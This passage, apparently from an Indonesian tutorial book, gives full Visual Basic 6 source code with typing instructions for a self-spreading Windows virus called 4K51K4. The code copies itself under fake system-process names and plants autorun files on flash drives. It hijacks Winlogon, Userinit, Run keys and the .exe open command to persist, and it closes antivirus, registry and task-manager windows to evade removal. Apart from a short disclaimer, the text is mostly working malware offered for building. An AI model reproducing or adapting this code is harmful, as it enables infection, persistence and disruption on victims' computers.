Public Sub Kopi() Dim Security As SECURITY_ATTRIBUTES On Error Resume Next ‘============================================================================= 'Update and copy virus '============================================================================= CreateDirectory GetLocalSettingsUser & "\Application Data\WINDOWS", _ Security SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS", _ FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetWindowsPath & "4k51k4.exe", FILE_ATTRIBUTE_NORMAL SetFileAttributes Left$(GetWindowsPath, 3) & "4k51k4.exe", _ FILE_ATTRIBUTE_NORMAL SetFileAttributes GetSystemPath & "shell.exe", FILE_ATTRIBUTE_NORMAL CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & _ "4k51k4.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", _ Left$(GetWindowsPath, 3) & "4k51k4.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & _ "shell.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & _ "MrHelloween.scr", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & _ "IExplorer.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetDocumentAndSettings & _ "\All Users\Start Menu\Programs\Startup\Empty.pif", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & _ "\Application Data\WINDOWS\WINLOGON.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & _


Page 51



"\Application Data\WINDOWS\SERVICES.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & _ "\Application Data\WINDOWS\SMSS.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetWindowsPath & _ "4k51k4.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", _ Left$(GetWindowsPath, 3) & "4k51k4.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & _ "shell.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & _ "MrHelloween.scr", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & _ "IExplorer.exe", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetDocumentAndSettings & _ "\All Users\Start Menu\Programs\Startup\Empty.pif", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & _ "\Application Data\WINDOWS\WINLOGON.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & _ "\Application Data\WINDOWS\SERVICES.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.EXE", 0 CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & _ "\Application Data\WINDOWS\SMSS.EXE", 0 SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_SYSTEM Or _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_SYSTEM Or _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_SYSTEM Or _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_SYSTEM Or _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetLocalSettingsUser & _ "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_SYSTEM Or _


Page 52



FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetWindowsPath & "4k51k4.exe", _ FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes Left$(GetWindowsPath, 3) & "4k51k4.exe", _ FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetSystemPath & "IExplorer.exe", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetSystemPath & "MrHelloween.scr", FILE_ATTRIBUTE_NORMAL SetFileAttributes GetDocumentAndSettings & _ "\All Users\Start Menu\Programs\Startup\Empty.pif", FILE_ATTRIBUTE_NORMAL '========================================================================= ==== buatpesan "C:\Puisi.txt" DoEvents End Sub 'Restart Windows Sub Restart() If IsWinNT Then 'is WinNT use RebootNT RebootNT True Else 'Use Reboot is not WinNT Reboot End If End Sub

Ketikan perintah dibawah ini pada module GetDrive 'dapatkan drive hardisk dan flashdisk Public Function CariDrive() As String Dim ictr As Integer Dim sAllDrives As String Dim sDrive As String sDrive = "" For ictr = 66 To 90 sDrive = Chr(ictr) & ":\" If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then CariDrive = CariDrive & sDrive End If Next End Function

Ketikan perintah dibawah ini pada module httinimsg: '============================================================================= = ' File ini dan htt berfungsi untuk menjalankan virus secara autorun pada flashdisk '============================================================================= =


Page 53



'buat file htt Public Sub buathtt(ByVal lokasi As String) Open lokasi For Output As #1 Print #1, "" Print #1, "" Print #1, "<meta http-equiv=" & Chr(&H22) & "content-type" & _ Chr(&H22) & "content=" & Chr(&H22) & _ "text/html; charset=Windows-1252" & Chr(&H22) & ">" Print #1, "" Print #1, "" Print #1, "" Print #1, "" Print #1, "" Print #1, "<script>" Print #1, "objectstr=" & Chr(&H22) & "" & Chr(&H22) Print #1, "objectstr+=" & Chr(&H22) & "
" & _ Chr(&H22) & ";" Print #1, "document.writeln(objectstr);" Print #1, "document.close();" & vbCrLf & "" Close #1 SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_ARCHIVE End Sub 'buat file ini Public Sub buatini(ByVal lokasi As String) Open lokasi For Output As #1 Print #1, "[.ShellClassInfo]" Print #1, "ConfirmFileOp=0" Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]" Print #1, "PersistMoniker=file://4K51K4\Folder.htt" Print #1, "[ExtShellFolderViews]" Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}=" & _ "{5984FFE0-28D4-11CF-AE66-08002B2E1262}" Close #1 SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or _ FILE_ATTRIBUTE_ARCHIVE Or FILE_ATTRIBUTE_SYSTEM End Sub '============================================================================= 'Pesan diperluhkan untuk memberi tahu bahwa komputer tersebut telah terinfeksi '============================================================================= 'buat file pesan


Page 54



Public Sub buatpesan(ByVal lokasi As String) Open lokasi For Output As #1 Print #1, " 4K51K4" Print #1, "" Print #1, "Apa yang aku lakukan tak dapat kau rasakan" Print #1, "Apa yang kau lakukan tak dapat aku rasakan" Print #1, "Benar-benar jauh, tak kan dapat ku gapai" Print #1, "Aku paksa, tetap akan lukai diri.." Print #1, "" Print #1, "Senyummu gerakan senyumku" Print #1, "Sedihmu mengiris hatiku" Print #1, "" Print #1, "Tangisku bukan milikmu" Print #1, "Tangismu adalah milikku" Print #1, "" Print #1, "Tak ada lagi yang ku kejar saat ini" Print #1, "Nanti, ya nanti aku akan mulai mengejar" Print #1, "Lepaskan sebagian letihku saat ini" Print #1, "Nanti, nanti aku mulai berkobar" Close #1 SetFileAttributes lokasi, FILE_ATTRIBUTE_NORMAL End Sub

Ketikan perintah dibwah ini pada module ProcessTable: 'Medapatkan semua process yang sedang berjalan Public Function Prosess(Jenis As Integer) As Long On Error Resume Next Dim r As Long Dim hSnapshot As Long Dim hSnapModule As Long Dim sName As String Dim uProcess As PROCESSENTRY32 Dim module As MODULEENTRY32 Dim iProcesses As Integer Dim iModules As Integer Dim NamaModule As String Dim hProses As Long Dim x As Long hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0) If hSnapshot = hNull Then process = 0 Else uProcess.dwSize = Len(uProcess) r = Process32First(hSnapshot, uProcess) Do While r NamaModule = Mid$(uProcess.szExeFile, 1, _ InStr(uProcess.szExeFile, Chr$(0)) - 1) iProcesses = iProcesses + 1 hSnapModule = CreateToolhelpSnapshot(TH32CS_SNAPMODULE, _ uProcess.th32ProcessID) hProses = OpenProcess(&H1F0FFF, 1, uProcess.th32ProcessID) If UCase(NamaModule) = UCase("Empty.pif") Or _ UCase(NamaModule) = UCase("Winlogon.exe") Or _


Page 55



UCase(NamaModule) = UCase("Shell.exe") Or _ UCase(NamaModule) = UCase("4k51k4.exe") Or _ UCase(NamaModule) = UCase("IExplorer.exe") Or _ UCase(NamaModule) = UCase("CSRSS.exe") Or _ UCase(NamaModule) = UCase("Services.exe") Or _ UCase(NamaModule) = UCase("lsass.exe") Or _ UCase(NamaModule) = UCase("MrHelloween.scr") Or _ UCase(NamaModule) = UCase("MRHELL~1.scr") Then If Jenis = 1 Then x = TerminateProcess(hProses, 0) SetFileAttributes GetLocalSettingsUser & _ "\Application Data\" & NamaModule, _ FILE_ATTRIBUTE_NORMAL DeleteFile GetLocalSettingsUser & "\Application Data\" & _ NamaModule CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ GetLocalSettingsUser & _ "\Application Data\" & NamaModule, 0 DoEvents If x <> 0 Then Prosess 1 Exit Function End If End If End If If Not hSnapModule = hNull Then module.dwSize = LenB(module) - 1 r = Module32First(hSnapModule, module) Do While r r = Module32Next(hSnapModule, module) Loop End If Call CloseHandle(hSnapModule) r = Process32Next(hSnapshot, uProcess) Loop CloseHandle hSnapshot Prosess = iProcesses End If DoEvents End Function

Ketik semua perintah dibawah ini pada form 1: '====================================================================== ' Penulis Tidak Bertanggung Jawab Segala Bentuk Penyalagunaan Kode ini. ' Kode ini penulis berikan sebagai ilmu tambahan ' Created By DNA [eXTR!M] '====================================================================== Dim Dim Dim Dim Dim

drv As Long drv2 As Long sTemp As String sTemp3 As String PngVirus As Long


Page 56



Private Sub Form_Load() On Error Resume Next Selesai = True Ketemu = True 'Kopi file msvbv60.dll ke directory System dan Windows If Dir$(App.Path & "\" & "msvbvm60.dll") <> "" Then CopyFile App.Path & "\" & "msvbvm60.dll", GetSystemPath & _ "msvbvm60.dll", 0 CopyFile App.Path & "\" & "msvbvm60.dll", GetWindowsPath & _ "msvbvm60.dll", 0 SetFileAttributes GetSystemPath & "msvbvm60.dll", _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetWindowsPath & "msvbvm60.dll", _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY End If 'Jika parameter pemanggilan virus tidak sama dengan kosong If Command$ <> "" Then Dim sFilePath As String 'ambil Path file sFilePath = Right$(Command$, Len(Command$) - 1) sFilePath = Left$(sFilePath, Len(sFilePath) - 2) 'set file attribute file tersebut menjadi readonly dan hidden SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or _ FILE_ATTRIBUTE_READONLY 'cari apakah ada file yang berkaitan dengan pornografi dan korupsi 'pada lokasi tersebut lalu sembunyikan CariFile NamaPath(sFilePath), "*.*", 1 'gandahkan diri kedalam lokasi tersebut denga nama file diambil dari 'nama folder CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), _ Len(NamaFile(sFilePath)) - 4)) & " .exe", 0 'set penggandaan diri dengan attribute normal SetFileAttributes NamaPath(sFilePath) & _ RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & _ " .exe", FILE_ATTRIBUTE_NORMAL 'check apakah file tersebut memiliki Kata ANT, BRO atau VIR 'jika memiliki jangan dijalankan If InStr(UCase(Command$), "ANT") Or InStr(UCase(Command$), "BRO") _ Or InStr(UCase(Command$), "VIR") Then 'jika tidak jalankan file tersebut Else Shell Command$, vbNormalFocus PanggilVirus DoEvents End If End If 'atur registry saat virus pertama kali dijalankan Sett 'jalankan sekali saja


Page 57



If App.PrevInstance Then End 'sembunyi dari task manager frm4k51k4.Hide App.TaskVisible = False App.Title = "" 'atur registry agar file dengan yang disembunyikan tidak tampil CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", _ "HideFileExt", 1 CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", _ "Hidden", 0 CreateDwordValue HKEY_CURRENT_USER, _ "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", _ "ShowSuperHidden", 0 ‘jika file yang dijalankan bernama Empty If UCase(App.EXEName) = UCase("Empty") Then 'jika file yang dijalankan bernama 4k51k4 ElseIf UCase(App.EXEName) = UCase("4K51K4") Then 'check tanggal hari ini apakah tanggal satu atau tanggal 12 jika ya 'jalankan file Puisi.txt dengan Notepad If Day(Now) = "1" Or Day(Now) = "12" Then Shell "Notepad.exe C:\Puisi.txt", vbNormalFocus End 'timer diaktifkan Timer1.Enabled = True ElseIf UCase(App.EXEName) = UCase("Shell") Then 'timer diaktifkan Timer1.Enabled = True ElseIf UCase(App.EXEName) = UCase("IExplorer") Then ElseIf UCase(App.EXEName) = UCase("WINLOGON") Then 'timer diaktifkan Timer1.Enabled = True ElseIf UCase(App.EXEName) = UCase("CSRSS") Then ElseIf UCase(App.EXEName) = UCase("Services") Then ElseIf UCase(App.EXEName) = UCase("SMSS") Then ElseIf UCase(App.EXEName) = UCase("lsass") Then ElseIf UCase(App.EXEName) = UCase("MrHelloween") Or UCase(App.EXEName) = _ UCase("MRHELL~1") Then PanggilVirus 'jika tidak Else 'Update Virus 'matikan proses untuk sementara Prosess 1 'Kopikan virus baru Kopi 'Lalu panggil kembali virus baru tersebut PanggilVirus End End If End Sub Private Sub Form_Terminate() 'Panggil kembali virus


Page 58



PanggilVirus End Sub Private Sub Form_Unload(Cancel As Integer) 'tidak dapat dimatikan Cancel = 1 PanggilVirus End Sub Private Sub Timer1_Timer() On Error Resume Next Dim hand1 As Long Dim hand2 As Long Dim hand3 As Long Dim hand4 As Long Dim hand5 As Long Dim hand6 As Long Dim hand7 As Long Dim temp As String * 256 Dim temp2 As String * 256 Dim AlamatFile1 As String Dim JudulCaption1 As String Dim hand8 As Long Dim hand9 As Long Dim hand10 As Long Dim temp3 As String * 256 Dim MultiMedia As String Dim i As Integer Dim JmlTmp As Long Dim TmpPngVirus As Long 'cek apakah ada program dengan classname RegEdit_RegEdit hand7 = FindWindow("RegEdit_RegEdit", vbNullString) 'cek apakah ada progam dengan caption Registry Editor If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Registry Editor") 'cek apakah ada progam dengan caption Folder Options If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Folder Options") 'cek apakah ada progam dengan caption Local Settings If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Local Settings") 'jika ada restart If hand7 <> 0 Then Restart Timer1.Enabled = False End End If 'cek dapatkan handel dari program yang sedang mendapatkan focus TmpPngVirus = GetForegroundWindow 'jika handel tidak sama dengan handle program seebelumnya maka panggil kembali virus If PngVirus <> TmpPngVirus Then PanggilVirus: PngVirus = TmpPngVirus 'membaca address bar pada windows explorer sebagai media penyebaran hand1 = FindWindow("ExploreWClass", vbNullString) hand10 = FindWindow("CabinetWClass", vbNullString) If hand1 = GetForegroundWindow Then hand2 = FindWindowEx(hand1, 0&, "WorkerW", vbNullString) SendMessage hand1, WM_GETTEXT, 200, ByVal temp2 ElseIf hand10 = GetForegroundWindow Then


Page 59



hand2 = FindWindowEx(hand10, 0&, "WorkerW", vbNullString) SendMessage hand10, WM_GETTEXT, 200, ByVal temp2 Else Dim AppCaption As String * 255 Dim HCap As Long 'dapatkan handle dari program yang dijalankan HCap = GetForegroundWindow 'dapatkan captionnya dari handle yang didapat GetWindowText HCap, AppCaption, 255 'jika pda caption tersebut terdapat kata-kata 'ANT,VIR,TASK,ASM,REG,ASM,W32,BUG, 'DBG,HEX,DETEC,PROC,WALK,REST,AVS,OPTIONS If InStr(UCase(AppCaption), "ANT") _ Or InStr(UCase(AppCaption), "VIR") _ Or InStr(UCase(AppCaption), "TASK") _ Or InStr(UCase(AppCaption), "REG") _ Or InStr(UCase(AppCaption), "ASM") _ Or InStr(UCase(AppCaption), "DBG") _ Or InStr(UCase(AppCaption), "W32") _ Or InStr(UCase(AppCaption), "BUG") _ Or InStr(UCase(AppCaption), "HEX") _ Or InStr(UCase(AppCaption), "DETEC") _ Or InStr(UCase(AppCaption), "PROC") _ Or InStr(UCase(AppCaption), "WALK") _ Or InStr(UCase(AppCaption), "REST") _ Or InStr(UCase(AppCaption), "AVAS") _ Or InStr(UCase(AppCaption), "OPTIONS") Then 'maka tutup program tersebut SendMessage HCap, WM_CLOSE, 0, 0 End If End If 'dapatkan string pada address bar hand3 = FindWindowEx(hand2, 0&, "RebarWindow32", vbNullString) hand4 = FindWindowEx(hand3, 0&, "ComboBoxEx32", vbNullString) hand5 = FindWindowEx(hand4, 0&, "ComboBox", vbNullString) hand6 = FindWindowEx(hand5, 0&, "Edit", vbNullString) SendMessage hand6, WM_GETTEXT, 200, ByVal temp 'ambil lokasi folder yang aktif pada windows explorer AlamatFile1 = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1) 'ambil caption windows explorer JudulCaption1 = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1) 'jika caption tersebut terdapat kata ANTI dan VIRUS If InStr(UCase(JudulCaption1), "ANTI") <> 0 _ Or InStr(UCase(JudulCaption1), "VIRUS") <> 0 Then 'maka sembunyikan windows explorer tersebut ShowWindow hand1, SW_HIDE End If 'jika judul tersebut tidak sama dengan judul sebelumnya If JudulCaption1 <> sTemp Then 'atur kembali pencarian dimulai dari drive c Ketemu = False: TmpDrv = "C:\" End If


Page 60



'dapatkan nama folder dari Open File pada winamp hand8 = FindWindow("#32770", vbNullString) hand9 = FindWindowEx(hand8, 0&, "ComboBox", vbNullString) SendMessage hand9, WM_GETTEXT, 200, ByVal temp3 'ambil nama folder tersebut MultiMedia = Mid(temp3, 1, InStr(temp3, Chr$(0)) - 1) 'jika nama folder sekarang tidak sama dengan folder sebelumnya If MultiMedia <> sTemp3 Then 'atur pencarian dimulai dari drive c Ketemu2 = False: TmpDrv2 = "C:\" End If 'jika Multimedia tidak sama dengan kosong dan tidak sama dengan nama 'folder yang lama If MultiMedia <> "" And sPathLama2 <> MultiMedia Then 'cari folder multimedia tersebut dimulai dari dirve c If Ketemu2 = False And TmpDrv2 <> Right$(CariDrive, 3) Then Dim sdrv2 As String 'jika drv2 tidak sama dengan 0 makan cari nama folder multimedia 'tersebut pada drive c If drv2 = 0 Then CariDirectory "C:\", MultiMedia, sTemp3, 2 'drive selanjutnya drv2 = drv2 + 3 crdrv2 = CariDrive sdrv2 = Mid$(CariDrive, drv2 + 1, 3) 'cari folder multimedia tersebut pada drive selanjutnya CariDirectory sdrv2, MultiMedia, sTemp3, 2 'jika sampai drive terakhir tidak ketemu pencarian dihentikan If Len(CariDrive) = drv2 + 3 Then drv2 = 0: Ketemu2 = True End If End If 'jika alamat file dan caption pada windows explorer tidak sama kosong If AlamatFile1 <> "" Or JudulCaption1 <> "" Then 'jika panjang nama file tidak sama dengan 0 If Len(NamaFile(AlamatFile1)) <> 0 Then 'jika alamay file tidak sama dengan alamat file yang lama If AlamatFile1 & "\" <> sPathLama1 Then 'jika selesai cek apakah dialamat tersebut sudah terdapat 'hasil peggandaan virus If Selesai Then 'jika belum terdapat hasil penggandaan virus cari file 'yang ingin disembunyikan pada alamat tersebut If Dir$(AlamatFile1 & "\" & NamaFile(AlamatFile1) & _ " .exe", vbNormal) = "" Then CariFile AlamatFile1, "*.*", End If End If 'gandahkan diri pada alamat tersebut dengan nama folder pada 'alamat tersebut CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe",_ AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", 0 'set attribute hasil penggandaan menjadi normal SetFileAttributes AlamatFile1 & "\" & _ NamaFile(AlamatFile1) & " .exe", FILE_ATTRIBUTE_NORMAL End If 'jika namafile sama dengan kosong tapi caption windows explorer tidak


Page 61



'kosong dan terdapat tidak karakter : pada caption tersebut 'penangan jika address bar tidak menunjukkan alamat file ElseIf NamaFile(AlamatFile1) = "" _ And AlamatFile1 <> "" _ And InStr(JudulCaption1, ":") = 0 Then 'pencarian nama folder tersebut dimulai dari dirve c If Ketemu = False And TmpDrv <> Right$(CariDrive, 3) Then Dim sdrv As String 'jika drv sama dengan 0 maka cari lokasi folder pada drive c If drv = 0 Then CariDirectory "C:\", JudulCaption1, sTemp, 1 'drive selanjutnya drv = drv + 3 crdrv = CariDrive sdrv = Mid$(CariDrive, drv + 1, 3) 'cari lokasi folder tersebut pada drive selanjutnya CariDirectory sdrv, JudulCaption1, sTemp, 1 'jika tidak ketemu sampai drive terakhir hentikan pencarian If Len(CariDrive) = drv + 3 Then drv = 0: Ketemu = True End If End If End If 'cari drive yang tersedia For i = 1 To Len(CariDrive) Step 3 'jika pada drive tersebut tidak terdapat hasil penggandaan diri If Dir$(Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", vbNormal) = "" Then Dim Security As SECURITY_ATTRIBUTES 'buat direktory 4K51K4 pada drive tersebut CreateDirectory Mid$(CariDrive, i, 3) & "\4K51K4", Security 'ubah attribute folder tersebut menjadi system dan hidden SetFileAttributes Mid$(CariDrive, i, 3) & "\4K51K4", _ FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN 'ubah attriube file folder.htt pada folder 4k51k4 menjadi normal SetFileAttributes Mid$(CariDrive, i, 3) & "\4K51K4\Folder.htt", _ FILE_ATTRIBUTE_NORMAL 'ubah attribute file Dekstop pada drive menjadi normal SetFileAttributes Mid$(CariDrive, i, 3) & "\desktop.ini", _ FILE_ATTRIBUTE_NORMAL 'buat file Folder htt pada folder 4k51k4 pada drive buathtt Mid$(CariDrive, i, 3) & "\4K51K4\Folder.htt" 'buat file dektop.ini pada drive buatini Mid$(CariDrive, i, 3) & "\desktop.ini" 'gandahkan diri didalam folde 4k51k4 dengan nama file New 'Folder.exe CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ Mid$(CariDrive, i, 3) & "\4K51K4\New Folder.exe", 0 'set attribute file New Folder.exe menjadi normal SetFileAttributes Mid$(CariDrive, i, 3) & _ "\4K51K4\New Folder.exe", FILE_ATTRIBUTE_NORMAL 'gandahkan diri pada drive tesebut dengan nama file dengan awalan 'Data dan diakhiri dengan nama user yang aktif


Page 62



CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", 0 'set attribute file tersebut menjadi normal SetFileAttributes Mid$(CariDrive, i, 3) & "Data " & _ GetUserAktif & ".exe", FILE_ATTRIBUTE_NORMAL End If 'apakah terdapat folder startup pada drive tersebut, jika ada If Dir$(Mid$(CariDrive, i, 3) & _ "Documents and Settings\All Users\Start Menu" & _ "\Programs\Startup") <> "" Then 'gandahkan diri dalam folder startup tersebut CopyFile Left$(GetWindowsPath, 3) & "4k51k4.exe", _ Mid$(CariDrive, i, 3) & _ "Documents and Settings\All Users\Start Menu" & _ "\Programs\Startup\" & "Empty.pif", 0 SetFileAttributes Mid$(CariDrive, i, 3) & _ "Documents and Settings\All Users\Start Menu" & _ "\Programs\Startup\" & "Empty.pif", FILE_ATTRIBUTE_NORMAL End If Next i Autorun DoEvents End Sub Private Sub Autorun() 'atur registy agar virus dapat berjalan pada saat login SetFileAttributes Left$(GetWindowsPath, 3) & "4k51k4.exe", _ FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & _ GetUserAktif, GetLocalSettingsUser & _ "\Application Data\WINDOWS\CSRSS.EXE" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, _ "System Monitoring", GetLocalSettingsUser & _ "\Application Data\WINDOWS\LSASS.EXE" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, _ "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & _ "IExplorer.exe" & Chr(&H22) CreateStringValue HKEY_CLASSES_ROOT, _ "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & _ "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, _ "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & _ "IExplorer.exe" CreateStringValue HKEY_LOCAL_MACHINE, _ "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, _ "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22) End Sub


Page 63



'panggil virus Private Sub PanggilVirus() Shell GetWindowsPath & "4k51k4.exe", vbNormalFocus Shell GetSystemPath & "IExplorer.exe", vbNormalFocus Shell GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", _ vbNormalFocus Shell GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", _ vbNormalFocus Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", _ vbNormalFocus Shell GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", _ vbNormalFocus Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", _ vbNormalFocus DoEvents End Sub


Page 64

Siapakan satu buah Form dengan satu timer dengan Interval=1000 dan 6 buah module

Recommend Documents